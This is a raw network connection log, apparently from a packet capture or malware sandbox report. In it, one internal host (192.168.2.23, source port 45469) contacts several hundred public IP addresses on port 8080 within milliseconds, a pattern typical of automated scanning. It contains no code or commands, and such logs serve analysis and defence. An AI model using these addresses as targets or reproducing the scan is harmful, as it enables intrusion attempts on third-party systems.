Dec 26, 2023 21:22:43.107810020 CET	45469	8080	192.168.2.23	85.201.197.88
Dec 26, 2023 21:22:43.107820988 CET	45469	8080	192.168.2.23	95.119.236.146
Dec 26, 2023 21:22:43.107820988 CET	45469	8080	192.168.2.23	95.149.73.123
Dec 26, 2023 21:22:43.107821941 CET	45469	8080	192.168.2.23	62.34.188.173
Dec 26, 2023 21:22:43.107829094 CET	45469	8080	192.168.2.23	94.239.72.177
Dec 26, 2023 21:22:43.107842922 CET	45469	8080	192.168.2.23	62.202.67.160
Dec 26, 2023 21:22:43.107845068 CET	45469	8080	192.168.2.23	62.248.239.1
Dec 26, 2023 21:22:43.107853889 CET	45469	8080	192.168.2.23	62.151.23.147
Dec 26, 2023 21:22:43.107857943 CET	45469	8080	192.168.2.23	94.235.2.137
Dec 26, 2023 21:22:43.107861042 CET	45469	8080	192.168.2.23	85.84.103.228
Dec 26, 2023 21:22:43.107878923 CET	45469	8080	192.168.2.23	95.182.241.226
Dec 26, 2023 21:22:43.107880116 CET	45469	8080	192.168.2.23	85.156.15.166
Dec 26, 2023 21:22:43.107882977 CET	45469	8080	192.168.2.23	95.59.31.214
Dec 26, 2023 21:22:43.107882977 CET	45469	8080	192.168.2.23	62.210.96.16
Dec 26, 2023 21:22:43.107893944 CET	45469	8080	192.168.2.23	94.53.95.25
Dec 26, 2023 21:22:43.107893944 CET	45469	8080	192.168.2.23	95.70.152.86
Dec 26, 2023 21:22:43.107893944 CET	45469	8080	192.168.2.23	94.211.207.23
Dec 26, 2023 21:22:43.107911110 CET	45469	8080	192.168.2.23	85.221.125.47
Dec 26, 2023 21:22:43.107912064 CET	45469	8080	192.168.2.23	85.250.119.120
Dec 26, 2023 21:22:43.107916117 CET	45469	8080	192.168.2.23	85.152.233.163
Dec 26, 2023 21:22:43.107916117 CET	45469	8080	192.168.2.23	85.125.73.185
Dec 26, 2023 21:22:43.107919931 CET	45469	8080	192.168.2.23	62.104.238.34
Dec 26, 2023 21:22:43.107923031 CET	45469	8080	192.168.2.23	31.131.231.101
Dec 26, 2023 21:22:43.107923985 CET	45469	8080	192.168.2.23	95.241.244.241
Dec 26, 2023 21:22:43.107928038 CET	45469	8080	192.168.2.23	62.41.56.180
Dec 26, 2023 21:22:43.107939959 CET	45469	8080	192.168.2.23	85.175.4.160
Dec 26, 2023 21:22:43.107944012 CET	45469	8080	192.168.2.23	31.250.248.193
Dec 26, 2023 21:22:43.107947111 CET	45469	8080	192.168.2.23	62.25.220.112
Dec 26, 2023 21:22:43.107948065 CET	45469	8080	192.168.2.23	94.95.2.89
Dec 26, 2023 21:22:43.107952118 CET	45469	8080	192.168.2.23	31.122.201.131
Dec 26, 2023 21:22:43.107955933 CET	45469	8080	192.168.2.23	62.138.41.169
Dec 26, 2023 21:22:43.107956886 CET	45469	8080	192.168.2.23	31.24.164.179
Dec 26, 2023 21:22:43.107963085 CET	45469	8080	192.168.2.23	94.246.51.124
Dec 26, 2023 21:22:43.107964993 CET	45469	8080	192.168.2.23	95.134.129.40
Dec 26, 2023 21:22:43.107964993 CET	45469	8080	192.168.2.23	85.28.172.87
Dec 26, 2023 21:22:43.107966900 CET	45469	8080	192.168.2.23	31.131.252.96
Dec 26, 2023 21:22:43.107989073 CET	45469	8080	192.168.2.23	62.12.140.193
Dec 26, 2023 21:22:43.107992887 CET	45469	8080	192.168.2.23	95.92.23.11
Dec 26, 2023 21:22:43.107992887 CET	45469	8080	192.168.2.23	94.250.73.168
Dec 26, 2023 21:22:43.108000040 CET	45469	8080	192.168.2.23	85.207.35.99
Dec 26, 2023 21:22:43.108002901 CET	45469	8080	192.168.2.23	95.251.134.44
Dec 26, 2023 21:22:43.108004093 CET	45469	8080	192.168.2.23	31.21.233.183
Dec 26, 2023 21:22:43.108004093 CET	45469	8080	192.168.2.23	94.230.163.32
Dec 26, 2023 21:22:43.108004093 CET	45469	8080	192.168.2.23	95.80.146.122
Dec 26, 2023 21:22:43.108006001 CET	45469	8080	192.168.2.23	95.159.49.211
Dec 26, 2023 21:22:43.108011961 CET	45469	8080	192.168.2.23	95.207.14.205
Dec 26, 2023 21:22:43.108017921 CET	45469	8080	192.168.2.23	62.45.91.71
Dec 26, 2023 21:22:43.108025074 CET	45469	8080	192.168.2.23	95.221.132.132
Dec 26, 2023 21:22:43.108026981 CET	45469	8080	192.168.2.23	85.138.192.108
Dec 26, 2023 21:22:43.108036041 CET	45469	8080	192.168.2.23	62.30.121.145
Dec 26, 2023 21:22:43.108036041 CET	45469	8080	192.168.2.23	85.168.211.77
Dec 26, 2023 21:22:43.108040094 CET	45469	8080	192.168.2.23	95.38.36.154
Dec 26, 2023 21:22:43.108062029 CET	45469	8080	192.168.2.23	95.251.15.84
Dec 26, 2023 21:22:43.108062029 CET	45469	8080	192.168.2.23	95.109.255.21
Dec 26, 2023 21:22:43.108062983 CET	45469	8080	192.168.2.23	94.173.158.85
Dec 26, 2023 21:22:43.108062983 CET	45469	8080	192.168.2.23	95.105.222.182
Dec 26, 2023 21:22:43.108067989 CET	45469	8080	192.168.2.23	62.123.97.9
Dec 26, 2023 21:22:43.108073950 CET	45469	8080	192.168.2.23	85.201.250.132
Dec 26, 2023 21:22:43.108088017 CET	45469	8080	192.168.2.23	95.60.127.26
Dec 26, 2023 21:22:43.108094931 CET	45469	8080	192.168.2.23	95.9.173.62
Dec 26, 2023 21:22:43.108100891 CET	45469	8080	192.168.2.23	95.50.206.52
Dec 26, 2023 21:22:43.108108997 CET	45469	8080	192.168.2.23	85.93.103.7
Dec 26, 2023 21:22:43.108109951 CET	45469	8080	192.168.2.23	31.36.163.154
Dec 26, 2023 21:22:43.108109951 CET	45469	8080	192.168.2.23	31.98.85.253
Dec 26, 2023 21:22:43.108118057 CET	45469	8080	192.168.2.23	62.204.193.218
Dec 26, 2023 21:22:43.108119011 CET	45469	8080	192.168.2.23	85.87.192.66
Dec 26, 2023 21:22:43.108123064 CET	45469	8080	192.168.2.23	95.91.190.93
Dec 26, 2023 21:22:43.108134985 CET	45469	8080	192.168.2.23	94.42.104.67
Dec 26, 2023 21:22:43.108140945 CET	45469	8080	192.168.2.23	95.8.35.91
Dec 26, 2023 21:22:43.108140945 CET	45469	8080	192.168.2.23	94.226.37.179
Dec 26, 2023 21:22:43.108150959 CET	45469	8080	192.168.2.23	85.107.122.137
Dec 26, 2023 21:22:43.108166933 CET	45469	8080	192.168.2.23	94.233.195.3
Dec 26, 2023 21:22:43.108167887 CET	45469	8080	192.168.2.23	31.26.65.129
Dec 26, 2023 21:22:43.108170986 CET	45469	8080	192.168.2.23	85.64.46.41
Dec 26, 2023 21:22:43.108172894 CET	45469	8080	192.168.2.23	94.175.92.134
Dec 26, 2023 21:22:43.108176947 CET	45469	8080	192.168.2.23	85.224.12.77
Dec 26, 2023 21:22:43.108176947 CET	45469	8080	192.168.2.23	94.6.113.255
Dec 26, 2023 21:22:43.108185053 CET	45469	8080	192.168.2.23	85.56.31.172
Dec 26, 2023 21:22:43.108208895 CET	45469	8080	192.168.2.23	62.167.180.232
Dec 26, 2023 21:22:43.108208895 CET	45469	8080	192.168.2.23	31.5.228.83
Dec 26, 2023 21:22:43.108208895 CET	45469	8080	192.168.2.23	31.24.103.129
Dec 26, 2023 21:22:43.108210087 CET	45469	8080	192.168.2.23	85.219.250.34
Dec 26, 2023 21:22:43.108211994 CET	45469	8080	192.168.2.23	85.178.170.116
Dec 26, 2023 21:22:43.108211994 CET	45469	8080	192.168.2.23	31.85.200.72
Dec 26, 2023 21:22:43.108227968 CET	45469	8080	192.168.2.23	31.144.200.217
Dec 26, 2023 21:22:43.108227968 CET	45469	8080	192.168.2.23	95.84.9.160
Dec 26, 2023 21:22:43.108230114 CET	45469	8080	192.168.2.23	94.151.247.3
Dec 26, 2023 21:22:43.108234882 CET	45469	8080	192.168.2.23	62.87.246.128
Dec 26, 2023 21:22:43.108237028 CET	45469	8080	192.168.2.23	85.186.217.192
Dec 26, 2023 21:22:43.108244896 CET	45469	8080	192.168.2.23	31.220.36.152
Dec 26, 2023 21:22:43.108247042 CET	45469	8080	192.168.2.23	95.121.216.128
Dec 26, 2023 21:22:43.108253002 CET	45469	8080	192.168.2.23	85.155.246.118
Dec 26, 2023 21:22:43.108264923 CET	45469	8080	192.168.2.23	95.131.96.189
Dec 26, 2023 21:22:43.108270884 CET	45469	8080	192.168.2.23	62.164.186.252
Dec 26, 2023 21:22:43.108273983 CET	45469	8080	192.168.2.23	95.221.132.57
Dec 26, 2023 21:22:43.108283997 CET	45469	8080	192.168.2.23	94.134.29.144
Dec 26, 2023 21:22:43.108293056 CET	45469	8080	192.168.2.23	31.179.246.40
Dec 26, 2023 21:22:43.108295918 CET	45469	8080	192.168.2.23	62.234.121.134
Dec 26, 2023 21:22:43.108305931 CET	45469	8080	192.168.2.23	94.98.172.71
Dec 26, 2023 21:22:43.108309984 CET	45469	8080	192.168.2.23	94.252.177.4
Dec 26, 2023 21:22:43.108313084 CET	45469	8080	192.168.2.23	62.179.185.242
Dec 26, 2023 21:22:43.108323097 CET	45469	8080	192.168.2.23	62.62.212.168
Dec 26, 2023 21:22:43.108329058 CET	45469	8080	192.168.2.23	94.171.185.195
Dec 26, 2023 21:22:43.108335972 CET	45469	8080	192.168.2.23	95.228.60.3
Dec 26, 2023 21:22:43.108341932 CET	45469	8080	192.168.2.23	94.35.0.213
Dec 26, 2023 21:22:43.108351946 CET	45469	8080	192.168.2.23	85.191.235.195
Dec 26, 2023 21:22:43.108354092 CET	45469	8080	192.168.2.23	94.27.87.145
Dec 26, 2023 21:22:43.108355045 CET	45469	8080	192.168.2.23	62.142.66.228
Dec 26, 2023 21:22:43.108361006 CET	45469	8080	192.168.2.23	62.8.251.65
Dec 26, 2023 21:22:43.108365059 CET	45469	8080	192.168.2.23	94.157.120.179
Dec 26, 2023 21:22:43.108365059 CET	45469	8080	192.168.2.23	95.242.55.160
Dec 26, 2023 21:22:43.108365059 CET	45469	8080	192.168.2.23	31.196.202.117
Dec 26, 2023 21:22:43.108377934 CET	45469	8080	192.168.2.23	62.192.17.179
Dec 26, 2023 21:22:43.108378887 CET	45469	8080	192.168.2.23	31.217.149.162
Dec 26, 2023 21:22:43.108392954 CET	45469	8080	192.168.2.23	95.12.166.237
Dec 26, 2023 21:22:43.108393908 CET	45469	8080	192.168.2.23	85.111.81.25
Dec 26, 2023 21:22:43.108397961 CET	45469	8080	192.168.2.23	31.123.120.119
Dec 26, 2023 21:22:43.108402014 CET	45469	8080	192.168.2.23	31.101.218.199
Dec 26, 2023 21:22:43.108405113 CET	45469	8080	192.168.2.23	85.74.248.195
Dec 26, 2023 21:22:43.108418941 CET	45469	8080	192.168.2.23	62.182.71.184
Dec 26, 2023 21:22:43.108419895 CET	45469	8080	192.168.2.23	94.229.45.166
Dec 26, 2023 21:22:43.108428955 CET	45469	8080	192.168.2.23	31.23.136.170
Dec 26, 2023 21:22:43.108429909 CET	45469	8080	192.168.2.23	85.92.68.249
Dec 26, 2023 21:22:43.108432055 CET	45469	8080	192.168.2.23	94.144.22.124
Dec 26, 2023 21:22:43.108433962 CET	45469	8080	192.168.2.23	85.95.130.112
Dec 26, 2023 21:22:43.108438015 CET	45469	8080	192.168.2.23	95.126.107.73
Dec 26, 2023 21:22:43.108441114 CET	45469	8080	192.168.2.23	62.169.232.197
Dec 26, 2023 21:22:43.108443022 CET	45469	8080	192.168.2.23	95.233.187.245
Dec 26, 2023 21:22:43.108457088 CET	45469	8080	192.168.2.23	62.167.243.67
Dec 26, 2023 21:22:43.108459949 CET	45469	8080	192.168.2.23	62.153.241.2
Dec 26, 2023 21:22:43.108463049 CET	45469	8080	192.168.2.23	94.15.67.10
Dec 26, 2023 21:22:43.108474970 CET	45469	8080	192.168.2.23	85.127.32.58
Dec 26, 2023 21:22:43.108479977 CET	45469	8080	192.168.2.23	95.27.133.221
Dec 26, 2023 21:22:43.108484030 CET	45469	8080	192.168.2.23	94.103.134.178
Dec 26, 2023 21:22:43.108484030 CET	45469	8080	192.168.2.23	95.241.231.17
Dec 26, 2023 21:22:43.108498096 CET	45469	8080	192.168.2.23	85.240.142.164
Dec 26, 2023 21:22:43.108500957 CET	45469	8080	192.168.2.23	62.44.44.159
Dec 26, 2023 21:22:43.108511925 CET	45469	8080	192.168.2.23	85.240.242.140
Dec 26, 2023 21:22:43.108515024 CET	45469	8080	192.168.2.23	62.173.251.41
Dec 26, 2023 21:22:43.108526945 CET	45469	8080	192.168.2.23	85.179.209.140
Dec 26, 2023 21:22:43.108531952 CET	45469	8080	192.168.2.23	95.7.161.37
Dec 26, 2023 21:22:43.108536959 CET	45469	8080	192.168.2.23	95.210.128.157
Dec 26, 2023 21:22:43.108541012 CET	45469	8080	192.168.2.23	94.225.158.7
Dec 26, 2023 21:22:43.108542919 CET	45469	8080	192.168.2.23	95.206.74.139
Dec 26, 2023 21:22:43.108545065 CET	45469	8080	192.168.2.23	94.68.45.241
Dec 26, 2023 21:22:43.108545065 CET	45469	8080	192.168.2.23	62.18.114.47
Dec 26, 2023 21:22:43.108560085 CET	45469	8080	192.168.2.23	62.42.205.37
Dec 26, 2023 21:22:43.108567953 CET	45469	8080	192.168.2.23	85.203.0.90
Dec 26, 2023 21:22:43.108567953 CET	45469	8080	192.168.2.23	94.103.1.241
Dec 26, 2023 21:22:43.108580112 CET	45469	8080	192.168.2.23	94.67.63.133
Dec 26, 2023 21:22:43.108584881 CET	45469	8080	192.168.2.23	62.1.16.39
Dec 26, 2023 21:22:43.108586073 CET	45469	8080	192.168.2.23	85.190.235.75
Dec 26, 2023 21:22:43.108592033 CET	45469	8080	192.168.2.23	31.221.177.220
Dec 26, 2023 21:22:43.108592033 CET	45469	8080	192.168.2.23	62.228.111.71
Dec 26, 2023 21:22:43.108597040 CET	45469	8080	192.168.2.23	31.213.190.22
Dec 26, 2023 21:22:43.108612061 CET	45469	8080	192.168.2.23	94.167.118.125
Dec 26, 2023 21:22:43.108617067 CET	45469	8080	192.168.2.23	62.45.209.89
Dec 26, 2023 21:22:43.108619928 CET	45469	8080	192.168.2.23	85.210.249.196
Dec 26, 2023 21:22:43.108634949 CET	45469	8080	192.168.2.23	95.231.190.186
Dec 26, 2023 21:22:43.108634949 CET	45469	8080	192.168.2.23	31.135.6.84
Dec 26, 2023 21:22:43.108639002 CET	45469	8080	192.168.2.23	31.7.120.209
Dec 26, 2023 21:22:43.108640909 CET	45469	8080	192.168.2.23	95.129.76.237
Dec 26, 2023 21:22:43.108650923 CET	45469	8080	192.168.2.23	85.211.218.236
Dec 26, 2023 21:22:43.108652115 CET	45469	8080	192.168.2.23	31.41.194.241
Dec 26, 2023 21:22:43.108652115 CET	45469	8080	192.168.2.23	85.132.72.85
Dec 26, 2023 21:22:43.108654022 CET	45469	8080	192.168.2.23	62.180.192.25
Dec 26, 2023 21:22:43.108663082 CET	45469	8080	192.168.2.23	94.178.74.158
Dec 26, 2023 21:22:43.108669996 CET	45469	8080	192.168.2.23	31.146.237.159
Dec 26, 2023 21:22:43.108671904 CET	45469	8080	192.168.2.23	31.195.1.73
Dec 26, 2023 21:22:43.108678102 CET	45469	8080	192.168.2.23	62.33.91.75
Dec 26, 2023 21:22:43.108678102 CET	45469	8080	192.168.2.23	95.123.238.191
Dec 26, 2023 21:22:43.108680010 CET	45469	8080	192.168.2.23	62.52.219.2
Dec 26, 2023 21:22:43.108694077 CET	45469	8080	192.168.2.23	31.64.242.95
Dec 26, 2023 21:22:43.108696938 CET	45469	8080	192.168.2.23	62.178.85.36
Dec 26, 2023 21:22:43.108701944 CET	45469	8080	192.168.2.23	94.13.251.103
Dec 26, 2023 21:22:43.108702898 CET	45469	8080	192.168.2.23	85.86.132.29
Dec 26, 2023 21:22:43.108705997 CET	45469	8080	192.168.2.23	85.18.202.225
Dec 26, 2023 21:22:43.108726025 CET	45469	8080	192.168.2.23	62.115.88.150
Dec 26, 2023 21:22:43.108737946 CET	45469	8080	192.168.2.23	85.82.89.67
Dec 26, 2023 21:22:43.108737946 CET	45469	8080	192.168.2.23	85.32.221.225
Dec 26, 2023 21:22:43.108737946 CET	45469	8080	192.168.2.23	94.63.30.70
Dec 26, 2023 21:22:43.108737946 CET	45469	8080	192.168.2.23	31.155.18.225
Dec 26, 2023 21:22:43.108738899 CET	45469	8080	192.168.2.23	62.194.92.146
Dec 26, 2023 21:22:43.108738899 CET	45469	8080	192.168.2.23	94.137.83.138
Dec 26, 2023 21:22:43.108756065 CET	45469	8080	192.168.2.23	95.8.171.188
Dec 26, 2023 21:22:43.108756065 CET	45469	8080	192.168.2.23	31.240.152.249
Dec 26, 2023 21:22:43.108757019 CET	45469	8080	192.168.2.23	94.144.44.135
Dec 26, 2023 21:22:43.108773947 CET	45469	8080	192.168.2.23	85.206.4.134
Dec 26, 2023 21:22:43.108782053 CET	45469	8080	192.168.2.23	85.212.101.121
Dec 26, 2023 21:22:43.108783007 CET	45469	8080	192.168.2.23	94.30.171.250
Dec 26, 2023 21:22:43.108783960 CET	45469	8080	192.168.2.23	95.146.228.184
Dec 26, 2023 21:22:43.108783960 CET	45469	8080	192.168.2.23	31.43.56.118
Dec 26, 2023 21:22:43.108792067 CET	45469	8080	192.168.2.23	85.194.90.142
Dec 26, 2023 21:22:43.108799934 CET	45469	8080	192.168.2.23	62.172.183.249
Dec 26, 2023 21:22:43.108808041 CET	45469	8080	192.168.2.23	62.45.245.11
Dec 26, 2023 21:22:43.108814001 CET	45469	8080	192.168.2.23	94.247.179.219
Dec 26, 2023 21:22:43.108819008 CET	45469	8080	192.168.2.23	85.106.236.33
Dec 26, 2023 21:22:43.108833075 CET	45469	8080	192.168.2.23	31.6.233.226
Dec 26, 2023 21:22:43.108833075 CET	45469	8080	192.168.2.23	31.73.137.106
Dec 26, 2023 21:22:43.108836889 CET	45469	8080	192.168.2.23	31.36.16.3
Dec 26, 2023 21:22:43.108846903 CET	45469	8080	192.168.2.23	94.168.223.54
Dec 26, 2023 21:22:43.108856916 CET	45469	8080	192.168.2.23	94.50.73.54
Dec 26, 2023 21:22:43.108870029 CET	45469	8080	192.168.2.23	31.4.37.29
Dec 26, 2023 21:22:43.108872890 CET	45469	8080	192.168.2.23	94.101.16.30
Dec 26, 2023 21:22:43.108877897 CET	45469	8080	192.168.2.23	85.2.115.126
Dec 26, 2023 21:22:43.108881950 CET	45469	8080	192.168.2.23	94.98.166.51
Dec 26, 2023 21:22:43.108882904 CET	45469	8080	192.168.2.23	31.110.60.150
Dec 26, 2023 21:22:43.108886003 CET	45469	8080	192.168.2.23	95.228.247.48
Dec 26, 2023 21:22:43.108896017 CET	45469	8080	192.168.2.23	95.231.7.211
Dec 26, 2023 21:22:43.108911037 CET	45469	8080	192.168.2.23	95.102.20.68
Dec 26, 2023 21:22:43.108917952 CET	45469	8080	192.168.2.23	94.168.228.206
Dec 26, 2023 21:22:43.108938932 CET	45469	8080	192.168.2.23	94.221.203.140
Dec 26, 2023 21:22:43.108939886 CET	45469	8080	192.168.2.23	85.246.166.133
Dec 26, 2023 21:22:43.108939886 CET	45469	8080	192.168.2.23	85.61.195.74
Dec 26, 2023 21:22:43.108946085 CET	45469	8080	192.168.2.23	31.195.186.250
Dec 26, 2023 21:22:43.108947992 CET	45469	8080	192.168.2.23	94.110.65.48
Dec 26, 2023 21:22:43.108947992 CET	45469	8080	192.168.2.23	62.238.152.252
Dec 26, 2023 21:22:43.108947992 CET	45469	8080	192.168.2.23	85.162.243.227
Dec 26, 2023 21:22:43.108954906 CET	45469	8080	192.168.2.23	85.156.8.228
Dec 26, 2023 21:22:43.108958006 CET	45469	8080	192.168.2.23	62.28.21.80
Dec 26, 2023 21:22:43.108959913 CET	45469	8080	192.168.2.23	85.192.156.87
Dec 26, 2023 21:22:43.108959913 CET	45469	8080	192.168.2.23	85.93.197.188
Dec 26, 2023 21:22:43.108964920 CET	45469	8080	192.168.2.23	85.179.194.25
Dec 26, 2023 21:22:43.108973026 CET	45469	8080	192.168.2.23	95.180.190.29
Dec 26, 2023 21:22:43.108973026 CET	45469	8080	192.168.2.23	62.126.45.213
Dec 26, 2023 21:22:43.108982086 CET	45469	8080	192.168.2.23	94.238.17.38
Dec 26, 2023 21:22:43.108989954 CET	45469	8080	192.168.2.23	94.14.26.173
Dec 26, 2023 21:22:43.109002113 CET	45469	8080	192.168.2.23	94.102.25.233
Dec 26, 2023 21:22:43.109002113 CET	45469	8080	192.168.2.23	31.109.207.206
Dec 26, 2023 21:22:43.109019041 CET	45469	8080	192.168.2.23	85.224.101.89
Dec 26, 2023 21:22:43.109023094 CET	45469	8080	192.168.2.23	85.89.129.154
Dec 26, 2023 21:22:43.109028101 CET	45469	8080	192.168.2.23	95.1.143.102
Dec 26, 2023 21:22:43.109031916 CET	45469	8080	192.168.2.23	94.35.110.127
Dec 26, 2023 21:22:43.109050035 CET	45469	8080	192.168.2.23	62.20.103.40
Dec 26, 2023 21:22:43.109056950 CET	45469	8080	192.168.2.23	31.214.139.121
Dec 26, 2023 21:22:43.109059095 CET	45469	8080	192.168.2.23	85.1.134.139
Dec 26, 2023 21:22:43.109059095 CET	45469	8080	192.168.2.23	95.197.97.104
Dec 26, 2023 21:22:43.109074116 CET	45469	8080	192.168.2.23	85.116.2.111
Dec 26, 2023 21:22:43.109077930 CET	45469	8080	192.168.2.23	62.74.217.4
Dec 26, 2023 21:22:43.109077930 CET	45469	8080	192.168.2.23	62.102.216.196
Dec 26, 2023 21:22:43.109081030 CET	45469	8080	192.168.2.23	85.224.101.42
Dec 26, 2023 21:22:43.109086037 CET	45469	8080	192.168.2.23	85.178.2.203
Dec 26, 2023 21:22:43.109091043 CET	45469	8080	192.168.2.23	31.190.245.150
Dec 26, 2023 21:22:43.109092951 CET	45469	8080	192.168.2.23	62.57.193.72
Dec 26, 2023 21:22:43.109097004 CET	45469	8080	192.168.2.23	31.5.127.219
Dec 26, 2023 21:22:43.109108925 CET	45469	8080	192.168.2.23	85.25.145.122
Dec 26, 2023 21:22:43.109116077 CET	45469	8080	192.168.2.23	62.60.79.173
Dec 26, 2023 21:22:43.109116077 CET	45469	8080	192.168.2.23	31.77.43.13
Dec 26, 2023 21:22:43.109119892 CET	45469	8080	192.168.2.23	95.90.134.9
Dec 26, 2023 21:22:43.109129906 CET	45469	8080	192.168.2.23	95.8.30.229
Dec 26, 2023 21:22:43.109134912 CET	45469	8080	192.168.2.23	85.60.162.154
Dec 26, 2023 21:22:43.109138966 CET	45469	8080	192.168.2.23	31.130.193.99
Dec 26, 2023 21:22:43.109141111 CET	45469	8080	192.168.2.23	95.33.188.38
Dec 26, 2023 21:22:43.109155893 CET	45469	8080	192.168.2.23	95.50.62.99
Dec 26, 2023 21:22:43.109164000 CET	45469	8080	192.168.2.23	95.108.107.147
Dec 26, 2023 21:22:43.109164953 CET	45469	8080	192.168.2.23	62.161.152.46
Dec 26, 2023 21:22:43.109180927 CET	45469	8080	192.168.2.23	95.189.77.122
Dec 26, 2023 21:22:43.109180927 CET	45469	8080	192.168.2.23	95.174.51.180
Dec 26, 2023 21:22:43.109183073 CET	45469	8080	192.168.2.23	95.75.226.11
Dec 26, 2023 21:22:43.109183073 CET	45469	8080	192.168.2.23	95.208.183.218
Dec 26, 2023 21:22:43.109183073 CET	45469	8080	192.168.2.23	95.43.43.125
Dec 26, 2023 21:22:43.109200001 CET	45469	8080	192.168.2.23	95.179.173.164
Dec 26, 2023 21:22:43.109200001 CET	45469	8080	192.168.2.23	95.231.102.146
Dec 26, 2023 21:22:43.109229088 CET	45469	8080	192.168.2.23	94.38.146.253
Dec 26, 2023 21:22:43.109230995 CET	45469	8080	192.168.2.23	85.37.44.97
Dec 26, 2023 21:22:43.109230995 CET	45469	8080	192.168.2.23	62.42.116.8
Dec 26, 2023 21:22:43.109235048 CET	45469	8080	192.168.2.23	31.144.60.124
Dec 26, 2023 21:22:43.109239101 CET	45469	8080	192.168.2.23	95.197.119.27
Dec 26, 2023 21:22:43.109239101 CET	45469	8080	192.168.2.23	94.114.122.86
Dec 26, 2023 21:22:43.109244108 CET	45469	8080	192.168.2.23	62.131.130.188
Dec 26, 2023 21:22:43.109244108 CET	45469	8080	192.168.2.23	85.182.117.161
Dec 26, 2023 21:22:43.109251022 CET	45469	8080	192.168.2.23	95.101.254.21
Dec 26, 2023 21:22:43.109270096 CET	45469	8080	192.168.2.23	94.180.219.218
Dec 26, 2023 21:22:43.109276056 CET	45469	8080	192.168.2.23	85.168.70.181
Dec 26, 2023 21:22:43.109276056 CET	45469	8080	192.168.2.23	31.75.142.217
Dec 26, 2023 21:22:43.109276056 CET	45469	8080	192.168.2.23	95.79.19.181
Dec 26, 2023 21:22:43.109276056 CET	45469	8080	192.168.2.23	95.188.192.180
Dec 26, 2023 21:22:43.109278917 CET	45469	8080	192.168.2.23	95.45.225.231
Dec 26, 2023 21:22:43.109286070 CET	45469	8080	192.168.2.23	31.175.156.164
Dec 26, 2023 21:22:43.109288931 CET	45469	8080	192.168.2.23	62.109.154.35
Dec 26, 2023 21:22:43.109294891 CET	45469	8080	192.168.2.23	95.157.79.197
Dec 26, 2023 21:22:43.109294891 CET	45469	8080	192.168.2.23	31.184.225.102
Dec 26, 2023 21:22:43.109299898 CET	45469	8080	192.168.2.23	62.155.190.243
Dec 26, 2023 21:22:43.109299898 CET	45469	8080	192.168.2.23	94.24.129.11
Dec 26, 2023 21:22:43.109299898 CET	45469	8080	192.168.2.23	31.95.241.178
Dec 26, 2023 21:22:43.109308958 CET	45469	8080	192.168.2.23	94.70.82.37
Dec 26, 2023 21:22:43.109314919 CET	45469	8080	192.168.2.23	31.77.113.63
Dec 26, 2023 21:22:43.109314919 CET	45469	8080	192.168.2.23	95.80.82.122
Dec 26, 2023 21:22:43.109319925 CET	45469	8080	192.168.2.23	85.69.61.67
Dec 26, 2023 21:22:43.109332085 CET	45469	8080	192.168.2.23	62.186.220.109
Dec 26, 2023 21:22:43.109335899 CET	45469	8080	192.168.2.23	85.182.34.134
Dec 26, 2023 21:22:43.109337091 CET	45469	8080	192.168.2.23	94.22.163.123
Dec 26, 2023 21:22:43.109340906 CET	45469	8080	192.168.2.23	62.71.149.193
Dec 26, 2023 21:22:43.109344959 CET	45469	8080	192.168.2.23	85.21.32.244
Dec 26, 2023 21:22:43.109345913 CET	45469	8080	192.168.2.23	94.131.58.92
Dec 26, 2023 21:22:43.109360933 CET	45469	8080	192.168.2.23	31.107.110.19
Dec 26, 2023 21:22:43.109361887 CET	45469	8080	192.168.2.23	95.30.23.28
Dec 26, 2023 21:22:43.109366894 CET	45469	8080	192.168.2.23	94.180.74.146
Dec 26, 2023 21:22:43.109373093 CET	45469	8080	192.168.2.23	95.91.8.91
Dec 26, 2023 21:22:43.109376907 CET	45469	8080	192.168.2.23	62.197.23.109
Dec 26, 2023 21:22:43.109383106 CET	45469	8080	192.168.2.23	31.8.67.183
Dec 26, 2023 21:22:43.109394073 CET	45469	8080	192.168.2.23	85.159.218.251
Dec 26, 2023 21:22:43.109400034 CET	45469	8080	192.168.2.23	85.36.193.45
Dec 26, 2023 21:22:43.109400988 CET	45469	8080	192.168.2.23	31.22.182.56
Dec 26, 2023 21:22:43.109404087 CET	45469	8080	192.168.2.23	95.61.192.92
Dec 26, 2023 21:22:43.109417915 CET	45469	8080	192.168.2.23	85.224.198.24
Dec 26, 2023 21:22:43.109417915 CET	45469	8080	192.168.2.23	31.87.241.97
Dec 26, 2023 21:22:43.109428883 CET	45469	8080	192.168.2.23	95.232.112.97
Dec 26, 2023 21:22:43.109433889 CET	45469	8080	192.168.2.23	95.181.139.117
Dec 26, 2023 21:22:43.109437943 CET	45469	8080	192.168.2.23	94.58.64.205
Dec 26, 2023 21:22:43.109460115 CET	45469	8080	192.168.2.23	62.223.185.79
Dec 26, 2023 21:22:43.109462976 CET	45469	8080	192.168.2.23	31.37.103.126
Dec 26, 2023 21:22:43.109462976 CET	45469	8080	192.168.2.23	95.78.123.92
Dec 26, 2023 21:22:43.109462976 CET	45469	8080	192.168.2.23	85.132.237.89
Dec 26, 2023 21:22:43.109473944 CET	45469	8080	192.168.2.23	62.188.131.202
Dec 26, 2023 21:22:43.109483957 CET	45469	8080	192.168.2.23	94.176.135.22
Dec 26, 2023 21:22:43.109486103 CET	45469	8080	192.168.2.23	85.145.146.235
Dec 26, 2023 21:22:43.109489918 CET	45469	8080	192.168.2.23	85.45.43.178
Dec 26, 2023 21:22:43.109510899 CET	45469	8080	192.168.2.23	94.196.100.119
Dec 26, 2023 21:22:43.109513044 CET	45469	8080	192.168.2.23	31.201.34.12
Dec 26, 2023 21:22:43.109513044 CET	45469	8080	192.168.2.23	85.65.80.128
Dec 26, 2023 21:22:43.109513998 CET	45469	8080	192.168.2.23	31.238.125.0
Dec 26, 2023 21:22:43.109513998 CET	45469	8080	192.168.2.23	85.98.215.0
Dec 26, 2023 21:22:43.109523058 CET	45469	8080	192.168.2.23	85.206.187.10
Dec 26, 2023 21:22:43.109524012 CET	45469	8080	192.168.2.23	85.202.68.212
Dec 26, 2023 21:22:43.109527111 CET	45469	8080	192.168.2.23	94.102.189.208
Dec 26, 2023 21:22:43.109529972 CET	45469	8080	192.168.2.23	85.231.205.70
Dec 26, 2023 21:22:43.109530926 CET	45469	8080	192.168.2.23	95.57.213.13
Dec 26, 2023 21:22:43.109539986 CET	45469	8080	192.168.2.23	94.163.225.119
Dec 26, 2023 21:22:43.109549999 CET	45469	8080	192.168.2.23	95.136.189.68
Dec 26, 2023 21:22:43.109551907 CET	45469	8080	192.168.2.23	31.210.182.233
Dec 26, 2023 21:22:43.109554052 CET	45469	8080	192.168.2.23	94.128.233.2
Dec 26, 2023 21:22:43.109554052 CET	45469	8080	192.168.2.23	62.243.209.119
